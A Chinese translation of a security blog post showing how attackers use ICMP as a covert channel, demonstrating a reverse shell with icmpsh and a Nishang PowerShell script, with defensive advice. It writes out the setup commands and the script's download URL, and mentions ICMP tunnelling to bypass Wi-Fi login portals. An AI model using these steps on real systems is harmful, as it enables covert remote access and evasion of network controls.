长话短说:
你可以通过ICMP发起一个远程shell连接。ICMP也可以被用来做坏事。
很多客户都会问我这个问题“Ping is okay? Right?”,一般而言ICMP(ICMP远不仅仅是ping,但经常被简单的说成是ping)是一个很好的工具,用来测试网络是否有响应,来确认你的网络连接通不通。它也经常被用来测试连接是否可靠。我的观点是,从一个IT人员的角度来讲,我们可以用ICMP来做很多事情。我想让人知道的是,任何你允许从你网络出来的东西都可以被利用做坏事。在这篇文章,我将为你展示黑客们是如何用ICMP来获取数据以及如何仅仅利用ICMP就和网络内部的客户端进行通信的。
使用ICMP来做一些坏事的原理是很明了的,在1996年就已经写的很简单了。它出现在PHRACK杂志(回忆过去啊)http://phrack.org/issues/49/1.html ,被称作:Project Loki (Loki项目)。
使用ICMP来作为隐蔽通道的原理是:你有一个服务端和一个客户端,当它们通信时会用到 ICMP_ECHO 和 ICMP_ECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。
我觉得这个很酷。有多少人会仔细分析ICMP流量呢?(这里只是假定)
ICMP仅仅是一种可能的隐蔽通道,如果黑客喜欢的话,他们也可以用DNS。其实已经有DNS隐蔽通道的项目了(自己谷歌去看看)。你的网络里每一个向外部互联网发送数据的通道,都很有可能被黑客用来作为隐蔽通道。这篇博客我只讨论ICMP。
下面是一个简单的demo,展示了这种方法具体是如何工作的,这里使用Bernardo Damele的 ICMPSH工具,这个工具最初是由Nico Leidecker开发的——http://www.leidecker.info/。
首先在攻击者机器上,关闭ICMP回复,避免发送其它数据干扰隐秘通道测试。
关闭命令:sysctl -w net.ipv4.icmp_echo_ignore_all=1
打开命令:sysctl -w net.ipv4.icmp_echo_ignore_all=0
现在我克隆一份 ICMPSH github项目到我的攻击者机器:
命令:git clone https://github.com/inquisb/icmpsh.git
使用ICMPSH项目里的python脚本启动服务端。使用这条命令:
Python icmpsh_m.py x.x.x.x y.y.y.y (注:x.x.x.x 是攻击者机器的公网ip,y.y.y.y是被黑机器的公网ip)
现在攻击者机器会监听等待。接下来我们去被黑服务器(客户端)。在ICMPSH git项目有一个可用在windows客户端的脚本。但是我更喜欢使用Powershell,所以在这里我将使用Nishang PowerShellICMP。代码可以在这里找到(感谢Nikhil Mittal 的杰出作品):https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1
把这些代码复制到windows客户端的 Powershell窗口。Powershell不需要提权,用户也不必是本地管理员。
然后调用新定义的函数,像这样:
在攻击者机器上,你将会得到一个通过ICMP连接的Shell(就像魔术一样):
有趣的是查看客户端的流量。我运行Wiershark 并过滤出来自我虚拟机的流量,当我通过shell执行命令时,我看到的如下图所示:
所以,回答下本篇博客的问题,“ping 是正常的吗?”,我想说你需要评估你网络环境的风险。没有适用于所有情景的答案。当然,要想使用这个方法,黑客必须得控制一台主机。就像我经常说的,安全要考虑到多个层次,不要只依靠几层,要考虑的长远些。
比如:
——如果黑客获取了一个客户端访问权限,会怎么样?
——我有AppLocker来阻止代码执行。
——如果攻击者绕过AppLocker呢?
——用户没有本地管理员权限。
——如果攻击者获取了本地管理员权限呢?
——客户端计算机不能和其它客户端计算机通信,敏感数据是被隔离的。
当然,整体上来讲,阻止使用ICMP/DNS隐秘通道是一个不错的想法。但是在现代网络环境,有太多的其它方法对一个网络发送和获取数据了。而很多攻击者根本不需要使用ICMP隧道。
值得一提的是,现在有一些项目可以使用ICMP来代理流量发送到互联网。比如有些公共wifi会要求你在使用wifi前进行注册,但是很多情况下在你认证之前ICMP是打开的。意味着你可以通过ICMP 代理来传输你的流量然后免费上网。
一些例子:
http://dries.eu/rpms/ptunnel/ptunnel
http://neophob.com/2007/10/pingtunnel-for-windows-icmp-tunnel/
(我没有测试这些工具,如果你去搜索可能会找到更多类似的工具)
我希望这篇文章阐述清楚了:就算是一些像ping这样无害的命令,也可以被黑客用来做坏事。
原文链接:https://msitpros.com/?p=3877
本文由 看雪翻译小组 LImp 翻译
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法